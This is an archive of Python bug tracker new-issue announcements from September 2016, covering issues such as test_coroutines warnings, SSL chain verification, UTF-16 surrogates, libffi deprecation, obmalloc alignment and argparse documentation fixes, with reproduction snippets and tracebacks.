From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 06:29:11 +0000
Subject: [New-bugs-announce] [issue27968] test_coroutines generates some
 warnings
Message-ID: <1473143351.91.0.450663771383.issue27968@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

./python -m test test_coroutines
Run tests sequentially
0:00:00 [1/1] test_coroutines
/home/angwer/cpython/Lib/test/test_coroutines.py:891: RuntimeWarning: coroutine 'CoroutineTest.test_await_12.<locals>.coro' was never awaited
  return await Awaitable()
/home/angwer/cpython/Lib/test/test_coroutines.py:35: RuntimeWarning: coroutine 'CoroutineTest.test_await_9.<locals>.bar' was never awaited
  buffer.append(coro.send(None))
Exception ignored in: <coroutine object CoroutineTest.test_fatal_coro_warning.<locals>.func at 0x7f481378f678>
RuntimeWarning: coroutine 'CoroutineTest.test_fatal_coro_warning.<locals>.fun' was never awaited
Exception ignored in: <coroutine object CoroutineTest.test_for_10.<locals>.AI.__aiter__ at 0x7f481378f5c8>
RuntimeWarning: coroutine 'CoroutineTest.test_for_10.<locals>.AI.__aiter__' was never awaited
Exception ignored in: <coroutine object CoroutineTest.test_for_9.<locals>.AI.__aiter__ at 0x7f481378f5c8>
RuntimeWarning: coroutine 'CoroutineTest.test_for_9.<locals>.AI.__aiter__' was never awaited
/home/angwer/cpython/Lib/test/test_coroutines.py:555: RuntimeWarning: coroutine 'CoroutineTest.test_func_13.<locals>.g' was never awaited
  g().send('spam')
/home/angwer/cpython/Lib/test/test_coroutines.py:408: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  list(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:411: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  tuple(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:414: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  sum(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:417: RuntimeWarning: coroutine 'CoroutineTest.test_func_4.<locals>.foo' was never awaited
  iter(foo())
/home/angwer/cpython/Lib/test/test_coroutines.py:438: RuntimeWarning: coroutine 'CoroutineTest.test_func_5.<locals>.foo' was never awaited
  for el in foo(): pass
1 test OK.

Total duration: 290 ms
Tests result: SUCCESS

----------
messages: 274529
nosy: giampaolo.rodola, gvanrossum, haypo, xiang.zhang, yselivanov
priority: normal
severity: normal
status: open
title: test_coroutines generates some warnings
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27968>
_______________________________________

From report at bugs.python.org  Tue Sep  6 03:01:10 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 07:01:10 +0000
Subject: [New-bugs-announce] [issue27969] Suppress unnecessary message when
 running test_gdb
Message-ID: <1473145270.93.0.694840839391.issue27969@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Right now, when running test_gdb generates following message:

./python -m test test_gdb
Run tests sequentially
0:00:00 [1/1] test_gdb
*Python Exception <type 'exceptions.ImportError'> No module named gdb: 
*gdb: warning: 
*Could not load the Python gdb module from `/usr/local/share/gdb/python'.
*Limited Python support is available from the _gdb module.
*Suggest passing --data-directory=/path/to/gdb/data-directory.

test_gdb skipped -- Unable to parse output from gdb.Frame.select test
test_gdb skipped

1 test skipped:
    test_gdb

Total duration: 166 ms
Tests result: SUCCESS

The messages prefixed * are messages generated by invoked gdb command and I think they are not needed to prompt to users.

test_gdb.patch tries to suppress them. After applied, the messages cleaner.

./python -m test test_gdb
Run tests sequentially
0:00:00 [1/1] test_gdb
test_gdb skipped -- Unable to parse output from gdb.Frame.select test
test_gdb skipped

1 test skipped:
    test_gdb

Total duration: 159 ms
Tests result: SUCCESS

----------
components: Tests
files: test_gdb.patch
keywords: patch
messages: 274532
nosy: xiang.zhang
priority: normal
severity: normal
status: open
title: Suppress unnecessary message when running test_gdb
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44392/test_gdb.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27969>
_______________________________________

From report at bugs.python.org  Tue Sep  6 04:52:17 2016
From: report at bugs.python.org (lilydjwg)
Date: Tue, 06 Sep 2016 08:52:17 +0000
Subject: [New-bugs-announce] [issue27970] ssl: can't verify a trusted site
 with imcomplete certificate chain
Message-ID: <1473151937.46.0.395458552575.issue27970@psf.upfronthosting.co.za>


New submission from lilydjwg:

This fails:

Python 3.5.2 (default, Jun 28 2016, 08:46:01)
[GCC 6.1.1 20160602] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import ssl
>>> import socket
>>> s = socket.socket()
>>> c = ssl.create_default_context(cafile='COMODORSADomainValidationSecureServerCA.crt')
>>> s = c.wrap_socket(s, server_hostname='miaosss.top')
>>> s.connect(('miaosss.top', 443))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.5/ssl.py", line 1019, in connect
    self._real_connect(addr, False)
  File "/usr/lib/python3.5/ssl.py", line 1010, in _real_connect
    self.do_handshake()
  File "/usr/lib/python3.5/ssl.py", line 988, in do_handshake
    self._sslobj.do_handshake()
  File "/usr/lib/python3.5/ssl.py", line 633, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:645)

But openssl can succeed:

openssl s_client -connect miaosss.top:443 -CAfile COMODORSADomainValidationSecureServerCA.crt -servername miaosss.top

endswith "Verify return code: 0 (ok)"

Firefox and SSLlabs (https://www.ssllabs.com/ssltest/analyze.html?d=miaosss.top) both show it's trusted.

----------
messages: 274542
nosy: lilydjwg
priority: normal
severity: normal
status: open
title: ssl: can't verify a trusted site with imcomplete certificate chain
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27970>
_______________________________________

From report at bugs.python.org  Tue Sep  6 05:59:43 2016
From: report at bugs.python.org (Christoph Reiter)
Date: Tue, 06 Sep 2016 09:59:43 +0000
Subject: [New-bugs-announce] [issue27971] utf-16 decoding can't handle lone
 surrogates
Message-ID: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>


New submission from Christoph Reiter:

Using Python 2.7.12

>>> u"\ud83d".encode("utf-16-le")
'=\xd8'
>>> u"\ud83d".encode("utf-16-le").decode("utf-16-le")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python2.7/encodings/utf_16_le.py", line 16, in decode
    return codecs.utf_16_le_decode(input, errors, True)
UnicodeDecodeError: 'utf16' codec can't decode bytes in position 0-1: unexpected end of data
>>>

----------
components: Unicode
messages: 274546
nosy: ezio.melotti, haypo, lazka
priority: normal
severity: normal
status: open
title: utf-16 decoding can't handle lone surrogates
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Tue Sep  6 06:16:54 2016
From: report at bugs.python.org (Max von Tettenborn)
Date: Tue, 06 Sep 2016 10:16:54 +0000
Subject: [New-bugs-announce] [issue27972] Confusing error during cyclic yield
Message-ID: <1473157014.91.0.531687158456.issue27972@psf.upfronthosting.co.za>


New submission from Max von Tettenborn:

Below code reproduces the problem. The resulting error is a RecursionError and it is very hard to trace that to the cause of the problem, which is the runner task and the stop task yielding from each other, forming a deadlock.

I think, an easy to make mistake like that should raise a clearer exception. And maybe I am mistaken, but it should in principle be possible for the event loop to detect a cyclic yield, right?


import asyncio


class A:
    @asyncio.coroutine
    def start(self):
        self.runner_task = asyncio.ensure_future(self.runner())

    @asyncio.coroutine
    def stop(self):
        self.runner_task.cancel()
        yield from self.runner_task

    @asyncio.coroutine
    def runner(self):
        try:
            while True:
                yield from asyncio.sleep(5)
        except asyncio.CancelledError:
            yield from self.stop()
            return


def do_test():
    @asyncio.coroutine
    def f():
        a = A()
        yield from a.start()
        yield from asyncio.sleep(1)
        yield from a.stop()

    asyncio.get_event_loop().run_until_complete(f())

----------
components: asyncio
messages: 274547
nosy: Max von Tettenborn, gvanrossum, haypo, yselivanov
priority: normal
severity: normal
status: open
title: Confusing error during cyclic yield
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27972>
_______________________________________

From report at bugs.python.org  Tue Sep  6 11:09:56 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Tue, 06 Sep 2016 15:09:56 +0000
Subject: [New-bugs-announce] [issue27973] urllib.urlretrieve() fails on
 second ftp transfer
Message-ID: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>


New submission from Sohaib Ahmad:

urllib.urlretrieve() fails on ftp:
- start and complete a transfer
- immediately start another transfer
The second transfer will fail with the following error:
[Errno ftp error] 200 Type set to I

I am using urllib.urlretrieve(url, filename) to retrieve two files (one by one) from FTP server.

Sample code to reproduce the problem is attached. Please update url1 and url2 with correct values.

This problem was reported several years ago and was fixed but it is now reproducible on latest python 2.7 package (2.7.12).

http://bugs.python.org/issue1067702

I tried the same scenario on 2.7.10 and it worked fine. So a patch after 2.7.10 must have broken something.

----------
components: Library (Lib)
files: multiple_ftp_download.py
messages: 274559
nosy: Sohaib Ahmad
priority: normal
severity: normal
status: open
title: urllib.urlretrieve() fails on second ftp transfer
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44396/multiple_ftp_download.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Tue Sep  6 12:32:22 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 06 Sep 2016 16:32:22 +0000
Subject: [New-bugs-announce] [issue27974] Remove dead code in
 importlib._bootstrap
Message-ID: <1473179542.96.0.922306931354.issue27974@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

_ManageReload in importlib._bootstrap seems obsolete since reve729b946cc03, remove it?

----------
files: importlib__bootstrap.patch
keywords: patch
messages: 274564
nosy: brett.cannon, xiang.zhang
priority: normal
severity: normal
status: open
title: Remove dead code in importlib._bootstrap
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44397/importlib__bootstrap.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27974>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:04:33 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Tue, 06 Sep 2016 17:04:33 +0000
Subject: [New-bugs-announce] [issue27975] math.isnan(int) and
 math.isinf(int) should not raise OverflowError
Message-ID: <1473181473.32.0.514007439316.issue27975@psf.upfronthosting.co.za>


New submission from Steven D'Aprano:

Currently, math.isnan(n) and math.isinf(n) for n an int may raise OverflowError if n is too big to convert to a float, e.g.:

py> math.isnan(10**10000)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OverflowError: int too large to convert to float


But this conversion is unnecessary. int does not support either INF or NAN, so there is no need to convert the value to float first. If the argument is an int, the result must be False.

The same applies to Fraction.

----------
messages: 274568
nosy: steven.daprano
priority: normal
severity: normal
status: open
title: math.isnan(int) and math.isinf(int) should not raise OverflowError

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27975>
_______________________________________

From report at bugs.python.org  Tue Sep  6 13:56:22 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 17:56:22 +0000
Subject: [New-bugs-announce] [issue27976] Deprecate building with bundled
 copy of libffi on non-Darwin POSIX platforms
Message-ID: <1473184582.63.0.0787669758902.issue27976@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Nosy list copied from #23085.

Here's a patch that deprecates building _ctypes with the bundled copy of libffi (Modules/_ctypes/libffi/).  The default on all platforms (other than Windows) is now to use a system copy of libffi; use the '--without-system-ffi' flag to ./configure to use the bundled copy.  On non-Darwin platforms, a warning will be emitted noting that Modules/_ctypes/libffi will not be distributed with 3.7.

----------
components: Build
files: deprecate_bundled_libffi.diff
keywords: patch
messages: 274576
nosy: Arfrever, Chi Hsuan Yen, berker.peksag, chris.jerdonek, doko, fabiovmp, gustavotemple, koobs, lemburg, meador.inge, ned.deily, r.david.murray, steve.dower, tim.golden, xdegaye, zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Deprecate building with bundled copy of libffi on non-Darwin POSIX platforms
type: enhancement
versions: Python 3.6
Added file: http://bugs.python.org/file44399/deprecate_bundled_libffi.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27976>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:43:52 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 06 Sep 2016 18:43:52 +0000
Subject: [New-bugs-announce] [issue27977] smtplib send_message does not
 correctly handle unicode addresses if message uses EmailPolicy
Message-ID: <1473187432.3.0.265909297314.issue27977@psf.upfronthosting.co.za>


New submission from R. David Murray:

In rewriting the examples in the email docs to use the new policies, I discovered that smtplib has a bug when handling a message that uses an EmailPolicy derived policy if the addresses contain unicode characters.  Currently it is extracting the addresses as unicode strings instead of transport encoded strings.  It needs a special case to handle EmailPolicy Messages.

----------
components: email
messages: 274597
nosy: barry, r.david.murray
priority: normal
severity: normal
stage: needs patch
status: open
title: smtplib send_message does not correctly handle unicode addresses if message uses EmailPolicy
type: behavior
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27977>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:49:39 2016
From: report at bugs.python.org (Patrik Dufresne)
Date: Tue, 06 Sep 2016 18:49:39 +0000
Subject: [New-bugs-announce] [issue27978] Executor#shutdown with timeout
Message-ID: <1473187779.38.0.526925636347.issue27978@psf.upfronthosting.co.za>


New submission from Patrik Dufresne:

Would be nice to add a new parameter to timeout if the shutdown take too long.


    def shutdown(self, wait=True, timeout=None):
        with self._shutdown_lock:
            self._shutdown = True
            self._work_queue.put(None)
        if wait:
            for t in self._threads:
                start = time.time()
                t.join(timeout)
                timeout = timeout + start - time.time()

----------
components: Library (Lib)
messages: 274599
nosy: Patrik Dufresne
priority: normal
severity: normal
status: open
title: Executor#shutdown with timeout
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27978>
_______________________________________

From report at bugs.python.org  Tue Sep  6 14:53:39 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 18:53:39 +0000
Subject: [New-bugs-announce] [issue27979] Remove bundled libffi
Message-ID: <1473188019.08.0.865772494221.issue27979@psf.upfronthosting.co.za>


New submission from Zachary Ware:

The attached patch allows the bundled libffi used in non-Darwin POSIX builds (Modules/_ctypes/libffi, along with Modules/_ctypes/libffi.diff) to be removed.  It depends on the patch in #27976, and does not affect OSX or Windows.

----------
components: Build, ctypes
files: remove_bundled_libffi.diff
keywords: patch
messages: 274600
nosy: zach.ware
priority: normal
severity: normal
stage: patch review
status: open
title: Remove bundled libffi
type: enhancement
versions: Python 3.7
Added file: http://bugs.python.org/file44400/remove_bundled_libffi.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27979>
_______________________________________

From report at bugs.python.org  Tue Sep  6 15:00:40 2016
From: report at bugs.python.org (Mark Summerfield)
Date: Tue, 06 Sep 2016 19:00:40 +0000
Subject: [New-bugs-announce] [issue27980] Add better pythonw support to py
 launcher
Message-ID: <1473188440.88.0.613793124058.issue27980@psf.upfronthosting.co.za>


New submission from Mark Summerfield:

The excellent py.exe launcher on Windows always uses a python.exe interpreter (although another issue suggests it will use pythonw.exe when the python file has a .pyw suffix which is good).

However, if one wanted to provide a .bat file like this:

@echo off
pushd %~dp0
py -3 MyGuiApp.pyw %*
popd

python.exe would be used rather than pythonw.exe.

My suggestion is to add a -w and/or --win(dows) flag which forces the use of pythonw.exe.

----------
components: Windows
messages: 274602
nosy: mark, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Add better pythonw support to py launcher
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27980>
_______________________________________

From report at bugs.python.org  Tue Sep  6 16:44:33 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 06 Sep 2016 20:44:33 +0000
Subject: [New-bugs-announce] [issue27981] Reference leak in fp_setreadl() of
 Parser/tokenizer.c
Message-ID: <1473194673.07.0.759200098492.issue27981@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Does the following function call leaks a reference?

        if (PyObject_CallObject(readline, NULL) == NULL) {
            readline = NULL;
            goto cleanup;
        }

----------
messages: 274622
nosy: haypo
priority: normal
severity: normal
status: open
title: Reference leak in fp_setreadl() of Parser/tokenizer.c
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27981>
_______________________________________

From report at bugs.python.org  Tue Sep  6 17:29:50 2016
From: report at bugs.python.org (Zachary Ware)
Date: Tue, 06 Sep 2016 21:29:50 +0000
Subject: [New-bugs-announce] [issue27982] Allow keyword arguments in winsound
Message-ID: <1473197390.27.0.31169931645.issue27982@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
nosy: zach.ware
priority: normal
severity: normal
status: open
title: Allow keyword arguments in winsound
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27982>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:01:40 2016
From: report at bugs.python.org (Gregory P. Smith)
Date: Tue, 06 Sep 2016 23:01:40 +0000
Subject: [New-bugs-announce] [issue27983] "Cannot perform PGO build because
 llvm-profdata was not found in PATH" error upon make
Message-ID: <1473202900.44.0.711175096314.issue27983@psf.upfronthosting.co.za>


New submission from Gregory P. Smith:

patch in issue26307 (which should be in soon) and do the following:

$ CC=clang ../3.6/configure --with-optimizations
$ make profile-opt
Error: Cannot perform PGO build because llvm-profdata was not found in PATH
Please add it to PATH and run ./configure again
Makefile:481: recipe for target 'profile-opt' failed

We can make this experience better.  It needs to

(1) Become a configure time error, and
(2) Do a better job of finding llvm-profdata (which exists in ${PATH} as "llvm-profdata-3.8" on Ubuntu 16.04).

----------
messages: 274657
nosy: alecsandru.patrascu, brett.cannon, gregory.p.smith
priority: normal
severity: normal
status: open
title: "Cannot perform PGO build because llvm-profdata was not found in PATH" error upon make
versions: Python 2.7, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27983>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:18:51 2016
From: report at bugs.python.org (Anselm Kiefner)
Date: Tue, 06 Sep 2016 23:18:51 +0000
Subject: [New-bugs-announce] [issue27984] singledispatch is wonky with enums
Message-ID: <1473203931.8.0.512988366273.issue27984@psf.upfronthosting.co.za>


New submission from Anselm Kiefner:

from functools import singledispatch
from enum import Enum

IS = Enum("IS", "a, b")

@singledispatch
def foo(x):
    print(foo.dispatch(x))
    print("foo")

@foo.register(IS.a)
def bar(x):
    print(foo.dispatch(x))
    print("bar")
    
@foo.register(int)
def baz(x):
    print("baz")
    
>>> foo(IS.a)
<function bar at 0x7fa92c319d90>
foo


I think the result is self-explaining. The foo.dispatch() correctly says function bar should be handling the call when IS.a is passed, but foo is handling the call anyway. If an int is passed, baz works as expected.

----------
messages: 274661
nosy: amogorkon
priority: normal
severity: normal
status: open
title: singledispatch is wonky with enums
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27984>
_______________________________________

From report at bugs.python.org  Tue Sep  6 19:48:47 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 06 Sep 2016 23:48:47 +0000
Subject: [New-bugs-announce] [issue27985] Implement PEP 526
Message-ID: <1473205727.01.0.952056443906.issue27985@psf.upfronthosting.co.za>


New submission from Guido van Rossum:

Pending PEP 526's acceptance, I am inviting Ivan Levkivskyi to upload his patch here so it can be reviewed.

----------
assignee: gvanrossum
components: Interpreter Core
messages: 274672
nosy: gvanrossum
priority: normal
severity: normal
stage: needs patch
status: open
title: Implement PEP 526
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27985>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:16:14 2016
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 07 Sep 2016 00:16:14 +0000
Subject: [New-bugs-announce] [issue27986] make distclean clobbers
 Lib/plat-darwin/*
Message-ID: <1473207374.66.0.540671136475.issue27986@psf.upfronthosting.co.za>


New submission from Zachary Ware:

I suspect this is related to #23968, but I'm not certain.

----------
components: Build, Macintosh
messages: 274685
nosy: doko, ned.deily, ronaldoussoren, zach.ware
priority: low
severity: normal
stage: needs patch
status: open
title: make distclean clobbers Lib/plat-darwin/*
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27986>
_______________________________________

From report at bugs.python.org  Tue Sep  6 20:17:10 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Wed, 07 Sep 2016 00:17:10 +0000
Subject: [New-bugs-announce] [issue27987] obmalloc's 8-byte alignment causes
 undefined behavior
Message-ID: <1473207430.19.0.578630759123.issue27987@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

ubsan complains about unaligned access when structs include "long double". An example error:
    runtime error: member access within misaligned address 0x7f77dbba9798 for type 'struct CDataObject', which requires 16 byte alignment

This is because (on x86 anyway), long double is 16-bytes long and requires that alignment, but obmalloc only gives a 8-byte alignment. (glibc malloc() gives 16-byte alignment.)

I'm attaching a POC patch. I don't know what the impact of increasing the alignment is on obmalloc's performance or memory usage. It's also unfortunate that this patch increases the size of PyGC_Head to 32 bytes from 24 bytes. One can imagine a more middle-ground solution to this by allowing types to specify their required alignment.

----------
components: Interpreter Core
files: alignment.patch
keywords: patch
messages: 274688
nosy: benjamin.peterson
priority: normal
severity: normal
status: open
title: obmalloc's 8-byte alignment causes undefined behavior
type: behavior
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44413/alignment.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27987>
_______________________________________

From report at bugs.python.org  Tue Sep  6 21:57:16 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 07 Sep 2016 01:57:16 +0000
Subject: [New-bugs-announce] [issue27988] email iter_attachments can mutate
 the payload
Message-ID: <1473213436.61.0.0831325497078.issue27988@psf.upfronthosting.co.za>


New submission from R. David Murray:

In the right (wrong) circumstances the iter_attachments function may mutate the payload list.  The fix is simple (make a copy before operating on it).  Attached is a patch with test.

----------
files: iter_attachments_mutation.patch
keywords: patch
messages: 274700
nosy: r.david.murray
priority: normal
severity: normal
stage: commit review
status: open
title: email iter_attachments can mutate the payload
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44417/iter_attachments_mutation.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27988>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:19:50 2016
From: report at bugs.python.org (David E. Franco G.)
Date: Wed, 07 Sep 2016 02:19:50 +0000
Subject: [New-bugs-announce] [issue27989] incomplete signature with help
 function using typing
Message-ID: <1473214790.93.0.488939251151.issue27989@psf.upfronthosting.co.za>


New submission from David E. Franco G.:

the issue is that when calling help on a function annotated with typing, all the relevant information is lost, for example

from typing import List, Any, Iterator, Tuple

def foo(data:List[Any]) -> Iterator[ Tuple[int,Any] ]:
    ...
 
when calling help on that

>>> help(foo)
Help on function foo in module __main__:

foo(data:typing.List) -> typing.Iterator

>>> 

all the information is lost, the output should look like this

>>> help(foo)
Help on function foo in module __main__:

foo(data:List[Any]) -> Iterator[ Tuple[int, Any] ]:

>>> 

where all the information that I put in the annotation is preserved and the typing.* are eliminated since they only add unnecessary noise

while reporting this issue in the typing module (https://github.com/python/typing/issues/279) I was told that is a bug with the inspect module and that help may need modification.

Thank for your time.

----------
components: Library (Lib)
messages: 274702
nosy: David E. Franco G.
priority: normal
severity: normal
status: open
title: incomplete signature with help function using typing
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27989>
_______________________________________

From report at bugs.python.org  Tue Sep  6 22:46:39 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 07 Sep 2016 02:46:39 +0000
Subject: [New-bugs-announce] [issue27990] Provide a way to enable getrandom
 on Linux even when build system runs an older kernel
Message-ID: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>


New submission from Nick Coghlan:

The configure script determines the setting for HAVE_GETRANDOM_SYSCALL at build time, which means the dynamic check for getrandom() support in the Linux kernel gets disabled when building against an older kernel.

This impacts the implicit use of getrandom() in os.urandom(): https://mail.python.org/pipermail/security-sig/2016-June/000060.html

And also the new os.getrandom() API added in #27778: http://bugs.python.org/issue27778#msg274698

It's desirable to have a way of forcing the inclusion of the dynamic runtime check, even if the currently running kernel doesn't provide the syscall itself.

----------
messages: 274715
nosy: encukou, martin.panter, ncoghlan
priority: normal
severity: normal
stage: needs patch
status: open
title: Provide a way to enable getrandom on Linux even when build system runs an older kernel
type: enhancement
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:04:18 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:04:18 +0000
Subject: [New-bugs-announce] [issue27991] In the argparse howto there is a
 misleading sentence about store_true
Message-ID: <1473217458.1.0.785896151958.issue27991@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/howto/argparse.html#combining-positional-and-optional-arguments
"And, just like the ?store_true? action, if you don?t specify the -v flag, that flag is considered to have None value."

This sentence is misleading. It supposes that "store_true" action can save None value. But "store_true" action always saves True or False value.

An example:

This code was taken from the argparse howto. I've just added the -f option and printed args to the stdout.

a.py

#!/usr/bin/env python3

import argparse

parser = argparse.ArgumentParser()
parser.add_argument("square", type=int,
                    help="display the square of a given number")
parser.add_argument("-v", "--verbosity", action="count",
                    help="increase output verbosity")
parser.add_argument("-f", "--flag", action="store_true")
args = parser.parse_args()

print('args:', args)


The output in the console:

[guest at localhost bugs]$ ./a.py 1
args: Namespace(flag=False, square=1, verbosity=None)
[guest at localhost bugs]$ 


In the output we see that the -f option have got the False value not None.

Applied a patch to the issue that just removes words about analogy with store_true action.

----------
assignee: docs at python
components: Documentation, Library (Lib)
files: argparse_store_true.diff
keywords: patch
messages: 274725
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse howto there is a misleading sentence about store_true
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44419/argparse_store_true.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27991>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:10:52 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:10:52 +0000
Subject: [New-bugs-announce] [issue27992] In the argparse there is a
 misleading words about %(prog)s value
Message-ID: <1473217852.97.0.553971829799.issue27992@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/argparse.html#argumentparser-objects
"prog - The name of the program (default: sys.argv[0])"

It doesn't take all sys.argv[0]. It splits sys.argv[0] and takes only the trailing part.

An example:

a.py

#!/usr/bin/env python3

import argparse
import sys

parser = argparse.ArgumentParser()
parser.add_argument("arg", help="The name is %(prog)s, the sys.argv[0] is " + sys.argv[0])
args = parser.parse_args()


The output in the console:

[guest at localhost bugs]$ ../bugs/a.py -h
usage: a.py [-h] arg

positional arguments:
  arg         The name is a.py and sys.argv[0] is ../bugs/a.py

optional arguments:
  -h, --help  show this help message and exit
[guest at localhost bugs]$


In the output we see that %(prog)s takes only trailing part of sys.argv[0] not all.

Applied a patch to the issue that specifies about part of sys.argv[0].

----------
assignee: docs at python
components: Documentation, Library (Lib)
files: argparse_sys-argv-0-part.diff
keywords: patch
messages: 274729
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse there is a misleading words about %(prog)s value
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44420/argparse_sys-argv-0-part.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27992>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:15:03 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:15:03 +0000
Subject: [New-bugs-announce] [issue27993] In the argparse there are typos
 with endings in plural words
Message-ID: <1473218103.32.0.964912945443.issue27993@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/argparse.html#prog
"By default, ArgumentParser objects uses sys.argv[0]"

Should be "objects use" as in all other places in the doc.

https://docs.python.org/3/library/argparse.html#conflict-handler
"By default, ArgumentParser objects raises an exception"

Should be "objects raise" as in all other places in the doc.

Applied a patch to the issue.

----------
assignee: docs at python
components: Documentation, Library (Lib)
files: argparse_objects_endings.diff
keywords: patch
messages: 274735
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In the argparse there are typos with endings in plural words
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44421/argparse_objects_endings.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27993>
_______________________________________

From report at bugs.python.org  Tue Sep  6 23:20:29 2016
From: report at bugs.python.org (py.user)
Date: Wed, 07 Sep 2016 03:20:29 +0000
Subject: [New-bugs-announce] [issue27994] In the argparse help(argparse)
 prints weird comments instead of good docstrings
Message-ID: <1473218429.0.0.161771079956.issue27994@psf.upfronthosting.co.za>


New submission from py.user:

